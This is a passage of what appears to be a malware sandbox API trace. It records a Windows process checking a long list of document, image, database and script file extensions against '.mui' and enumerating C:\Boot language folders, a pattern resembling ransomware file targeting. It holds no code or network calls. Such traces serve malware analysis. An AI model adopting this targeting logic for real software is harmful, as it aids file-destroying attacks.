(lpString1=".djvu", lpString2="e.mui") returned -1 [0037.062] lstrlenW (lpString=".dng") returned 4 [0037.062] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0037.062] lstrlenW (lpString=".doc") returned 4 [0037.062] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0037.062] lstrlenW (lpString=".docm") returned 5 [0037.062] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0037.062] lstrlenW (lpString=".docx") returned 5 [0037.062] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0037.062] lstrlenW (lpString=".dot") returned 4 [0037.062] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0037.062] lstrlenW (lpString=".dotm") returned 5 [0037.062] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0037.062] lstrlenW (lpString=".dotx") returned 5 [0037.062] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0037.062] lstrlenW (lpString=".dpx") returned 4 [0037.062] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0037.062] lstrlenW (lpString=".dqy") returned 4 [0037.062] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0037.062] lstrlenW (lpString=".dsn") returned 4 [0037.062] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0037.062] lstrlenW (lpString=".dt") returned 3 [0037.062] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0037.062] lstrlenW (lpString=".dtd") returned 4 [0037.062] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0037.062] lstrlenW (lpString=".dwg") returned 4 [0037.062] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0037.062] lstrlenW (lpString=".dwt") returned 4 [0037.062] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0037.062] lstrlenW (lpString=".dx") returned 3 [0037.063] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0037.063] lstrlenW (lpString=".dxf") returned 4 [0037.063] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0037.063] lstrlenW (lpString=".edml") returned 5 [0037.063] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0037.063] lstrlenW (lpString=".efd") returned 4 [0037.063] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0037.063] lstrlenW (lpString=".elf") returned 4 [0037.063] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0037.063] lstrlenW (lpString=".emf") returned 4 [0037.063] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0037.063] lstrlenW (lpString=".emz") returned 4 [0037.063] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0037.063] lstrlenW (lpString=".epf") returned 4 [0037.063] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0037.063] lstrlenW (lpString=".eps") returned 4 [0037.063] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0037.063] lstrlenW (lpString=".epsf") returned 5 [0037.063] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0037.063] lstrlenW (lpString=".epsp") returned 5 [0037.063] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0037.063] lstrlenW (lpString=".erf") returned 4 [0037.063] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0037.063] lstrlenW (lpString=".exr") returned 4 [0037.063] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0037.063] lstrlenW (lpString=".f4v") returned 4 [0037.063] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0037.063] lstrlenW (lpString=".fido") returned 5 [0037.063] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0037.063] lstrlenW (lpString=".flm") returned 4 [0037.063] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0037.063] lstrlenW (lpString=".flv") returned 4 [0037.063] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0037.063] lstrlenW (lpString=".frm") returned 4 [0037.063] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0037.063] lstrlenW (lpString=".fxg") returned 4 [0037.064] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0037.064] lstrlenW (lpString=".geo") returned 4 [0037.064] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0037.064] lstrlenW (lpString=".gif") returned 4 [0037.064] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0037.064] lstrlenW (lpString=".grs") returned 4 [0037.064] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0037.064] lstrlenW (lpString=".gz") returned 3 [0037.064] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0037.064] lstrlenW (lpString=".h") returned 2 [0037.064] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0037.064] lstrlenW (lpString=".hdr") returned 4 [0037.064] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0037.064] lstrlenW (lpString=".hpp") returned 4 [0037.064] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0037.064] lstrlenW (lpString=".hta") returned 4 [0037.064] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0037.064] lstrlenW (lpString=".htc") returned 4 [0037.064] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0037.064] lstrlenW (lpString=".htm") returned 4 [0037.064] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0037.064] lstrlenW (lpString=".html") returned 5 [0037.064] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0037.064] lstrlenW (lpString=".icb") returned 4 [0037.064] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0037.064] lstrlenW (lpString=".ics") returned 4 [0037.064] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0037.064] lstrlenW (lpString=".iff") returned 4 [0037.064] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0037.064] lstrlenW (lpString=".inc") returned 4 [0037.064] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0037.064] lstrlenW (lpString=".indd") returned 5 [0037.064] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0037.064] lstrlenW (lpString=".ini") returned 4 [0037.064] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0037.064] lstrlenW (lpString=".iqy") returned 4 [0037.065] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0037.065] lstrlenW (lpString=".j2c") returned 4 [0037.065] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0037.065] lstrlenW (lpString=".j2k") returned 4 [0037.065] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0037.065] lstrlenW (lpString=".java") returned 5 [0037.065] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0037.065] lstrlenW (lpString=".jp2") returned 4 [0037.065] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0037.065] lstrlenW (lpString=".jpc") returned 4 [0037.065] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0037.065] lstrlenW (lpString=".jpe") returned 4 [0037.065] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0037.065] lstrlenW (lpString=".jpeg") returned 5 [0037.065] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0037.065] lstrlenW (lpString=".jpf") returned 4 [0037.065] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0037.065] lstrlenW (lpString=".jpg") returned 4 [0037.065] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0037.065] lstrlenW (lpString=".jpx") returned 4 [0037.065] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0037.065] lstrlenW (lpString=".js") returned 3 [0037.065] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0037.065] lstrlenW (lpString=".jsf") returned 4 [0037.065] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0037.065] lstrlenW (lpString=".json") returned 5 [0037.065] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0037.065] lstrlenW (lpString=".jsp") returned 4 [0037.065] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0037.065] lstrlenW (lpString=".kdc") returned 4 [0037.065] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0037.065] lstrlenW (lpString=".kmz") returned 4 [0037.065] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0037.065] lstrlenW (lpString=".kwm") returned 4 [0037.065] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0037.065] lstrlenW (lpString=".lasso") returned 6 [0037.066] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0037.066] lstrlenW (lpString=".lbi") returned 4 [0037.066] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0037.066] lstrlenW (lpString=".lgf") returned 4 [0037.066] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0037.066] lstrlenW (lpString=".lgp") returned 4 [0037.066] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0037.066] lstrlenW (lpString=".log") returned 4 [0037.066] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0037.066] lstrlenW (lpString=".m1v") returned 4 [0037.066] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0037.066] lstrlenW (lpString=".m4a") returned 4 [0037.066] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0037.066] lstrlenW (lpString=".m4v") returned 4 [0037.066] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0037.066] lstrlenW (lpString=".max") returned 4 [0037.066] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0037.066] lstrlenW (lpString=".md") returned 3 [0037.066] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0037.066] lstrlenW (lpString=".mda") returned 4 [0037.066] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0037.066] lstrlenW (lpString=".mdb") returned 4 [0037.066] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0037.066] lstrlenW (lpString=".mde") returned 4 [0037.066] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0037.066] lstrlenW (lpString=".mdf") returned 4 [0037.066] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0037.066] lstrlenW (lpString=".mdw") returned 4 [0037.066] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0037.066] lstrlenW (lpString=".mef") returned 4 [0037.066] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0037.066] lstrlenW (lpString=".mft") returned 4 [0037.066] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0037.066] lstrlenW (lpString=".mfw") returned 4 [0037.066] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0037.066] lstrlenW (lpString=".mht") returned 4 [0037.067] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0037.067] lstrlenW (lpString=".mhtml") returned 6 [0037.067] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0037.067] lstrlenW (lpString=".mka") returned 4 [0037.067] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0037.067] lstrlenW (lpString=".mkidx") returned 6 [0037.067] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0037.067] lstrlenW (lpString=".mkv") returned 4 [0037.067] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0037.067] lstrlenW (lpString=".mos") returned 4 [0037.067] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0037.067] lstrlenW (lpString=".mov") returned 4 [0037.067] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0037.067] lstrlenW (lpString=".mp3") returned 4 [0037.067] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0037.067] lstrlenW (lpString=".mp4") returned 4 [0037.067] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0037.067] lstrlenW (lpString=".mpeg") returned 5 [0037.067] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0037.067] lstrlenW (lpString=".mpg") returned 4 [0037.067] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0037.067] lstrlenW (lpString=".mpv") returned 4 [0037.067] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0037.067] lstrlenW (lpString=".mrw") returned 4 [0037.067] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0037.067] lstrlenW (lpString=".msg") returned 4 [0037.067] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0037.067] lstrlenW (lpString=".mxl") returned 4 [0037.067] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0037.067] lstrlenW (lpString=".myd") returned 4 [0037.067] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0037.067] lstrlenW (lpString=".myi") returned 4 [0037.067] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0037.067] lstrlenW (lpString=".nef") returned 4 [0037.067] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0037.067] lstrlenW (lpString=".nrw") returned 4 [0037.067] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0037.068] lstrlenW (lpString=".obj") returned 4 [0037.068] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0037.068] lstrlenW (lpString=".odb") returned 4 [0037.068] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0037.068] lstrlenW (lpString=".odc") returned 4 [0037.068] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0037.068] lstrlenW (lpString=".odm") returned 4 [0037.068] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0037.068] lstrlenW (lpString=".odp") returned 4 [0037.068] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0037.068] lstrlenW (lpString=".ods") returned 4 [0037.068] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0037.068] lstrlenW (lpString=".oft") returned 4 [0037.068] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0037.068] lstrlenW (lpString=".one") returned 4 [0037.068] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0037.068] lstrlenW (lpString=".onepkg") returned 7 [0037.068] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0037.068] lstrlenW (lpString=".onetoc2") returned 8 [0037.068] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0037.068] lstrlenW (lpString=".opt") returned 4 [0037.068] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0037.068] lstrlenW (lpString=".oqy") returned 4 [0037.068] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0037.068] lstrlenW (lpString=".orf") returned 4 [0037.068] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0037.068] lstrlenW (lpString=".p12") returned 4 [0037.068] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0037.068] lstrlenW (lpString=".p7b") returned 4 [0037.068] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0037.068] lstrlenW (lpString=".p7c") returned 4 [0037.068] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0037.068] lstrlenW (lpString=".pam") returned 4 [0037.068] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0037.068] lstrlenW (lpString=".pbm") returned 4 [0037.068] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0037.069] lstrlenW (lpString=".pct") returned 4 [0037.069] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0037.069] lstrlenW (lpString=".pcx") returned 4 [0037.069] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0037.069] lstrlenW (lpString=".pdd") returned 4 [0037.069] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0037.069] lstrlenW (lpString=".pdf") returned 4 [0037.069] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0037.069] lstrlenW (lpString=".pdp") returned 4 [0037.069] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0037.069] lstrlenW (lpString=".pef") returned 4 [0037.069] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0037.069] lstrlenW (lpString=".pem") returned 4 [0037.069] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0037.069] lstrlenW (lpString=".pff") returned 4 [0037.069] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0037.069] lstrlenW (lpString=".pfm") returned 4 [0037.069] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0037.069] lstrlenW (lpString=".pfx") returned 4 [0037.069] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0037.069] lstrlenW (lpString=".pgm") returned 4 [0037.069] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0037.069] lstrlenW (lpString=".php") returned 4 [0037.069] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0037.069] lstrlenW (lpString=".php3") returned 5 [0037.069] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0037.069] lstrlenW (lpString=".php4") returned 5 [0037.069] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0037.069] lstrlenW (lpString=".php5") returned 5 [0037.069] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0037.069] lstrlenW (lpString=".phtml") returned 6 [0037.069] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0037.069] lstrlenW (lpString=".pict") returned 5 [0037.069] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0037.076] lstrlenW (lpString=".pl") returned 3 [0037.076] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0037.076] lstrlenW (lpString=".pls") returned 4 [0037.076] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0037.076] lstrlenW (lpString=".pm") returned 3 [0037.076] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0037.076] lstrlenW (lpString=".png") returned 4 [0037.076] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0037.076] lstrlenW (lpString=".pnm") returned 4 [0037.076] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0037.076] lstrlenW (lpString=".pot") returned 4 [0037.076] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0037.076] lstrlenW (lpString=".potm") returned 5 [0037.076] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0037.076] lstrlenW (lpString=".potx") returned 5 [0037.076] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0037.077] lstrlenW (lpString=".ppa") returned 4 [0037.077] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0037.077] lstrlenW (lpString=".ppam") returned 5 [0037.077] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0037.077] lstrlenW (lpString=".ppm") returned 4 [0037.077] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0037.077] lstrlenW (lpString=".pps") returned 4 [0037.077] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0037.077] lstrlenW (lpString=".ppsm") returned 5 [0037.077] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0037.077] lstrlenW (lpString=".ppt") returned 4 [0037.077] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0037.077] lstrlenW (lpString=".pptm") returned 5 [0037.077] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0037.077] lstrlenW (lpString=".pptx") returned 5 [0037.077] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0037.077] lstrlenW (lpString=".prn") returned 4 [0037.077] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0037.077] lstrlenW (lpString=".ps") returned 3 [0037.077] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0037.077] lstrlenW (lpString=".psb") returned 4 [0037.077] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0037.077] lstrlenW (lpString=".psd") returned 4 [0037.077] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0037.077] lstrlenW (lpString=".pst") returned 4 [0037.077] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0037.077] lstrlenW (lpString=".ptx") returned 4 [0037.077] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0037.077] lstrlenW (lpString=".pub") returned 4 [0037.077] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0037.077] lstrlenW (lpString=".pwm") returned 4 [0037.077] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0037.077] lstrlenW (lpString=".pxr") returned 4 [0037.077] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0037.077] lstrlenW (lpString=".py") returned 3 [0037.077] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0037.077] lstrlenW (lpString=".qt") returned 3 [0037.078] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0037.078] lstrlenW (lpString=".r3d") returned 4 [0037.078] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0037.078] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.078] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0037.078] FindNextFileW (in: hFindFile=0x7cb7d0, lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0037.078] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.078] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.078] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.078] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.078] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0037.078] FindNextFileW (in: hFindFile=0x7cb7d0, lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0037.078] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.078] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.078] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.079] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.079] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0037.079] FindNextFileW (in: hFindFile=0x7cb7d0, lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0037.079] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.079] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.079] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, 